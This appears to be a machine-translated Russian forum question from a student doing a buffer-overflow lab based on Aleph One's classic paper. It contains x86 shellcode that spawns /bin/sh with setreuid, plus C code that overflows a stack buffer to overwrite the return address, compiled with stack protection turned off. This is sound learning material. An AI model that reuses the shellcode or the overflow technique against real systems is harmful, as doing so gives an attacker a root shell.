Я делал тест переполнения буфера, в основном, я прочитал от Aleph One-х Smashing The Stack For Fun And Profit.как написать переполнение буфера?
#include<string.h>
#include<stdio.h>
char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x8\x8d\x53\x0c\xcd\x80\xe8
\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58
\x59\x59\x59\x59";
char large_str[104]; /*length equals to buffer + i + ptr + return_address*/
int main(){
char buffer[56];/*same length as shellcode*/
int i;
long *ptr=(long*)large_str;
memset(&large_str,0,104); /*initialize large_str*/
for(i=0;i<24;i++)
*(ptr+i)=(int)buffer; /*overwrite return address*/
for(i=0;i<strlen(shellcode);i++)
large_str[i]=shellcode[i];
strcpy(buffer,large_str); /*doing overflow*/
return 0;
}
делает
$gcc -o overflow -fno-stack-protector overflow.c
$./overflow
segmentation fault (core dumped)
Перед тем как сделать это, я повернулась случайный адрес от уже. Кроме того, я проверил мой шеллкода в программе:
int main(int argc, char **argv)
{
int (*func)();
func=(int(*)())code;
(int)(*func)();
}
это работает. поэтому я не знаю, что не так с моим кодом переполнения буфера, есть ли у кого есть опыт работы с лабораторией переполнения буфера? Я отлаживал gdb, кажется, что я не переписывал адрес возврата должным образом.
удалены не связанные ядра и стеки переполнения тегов. не путайте понятия! –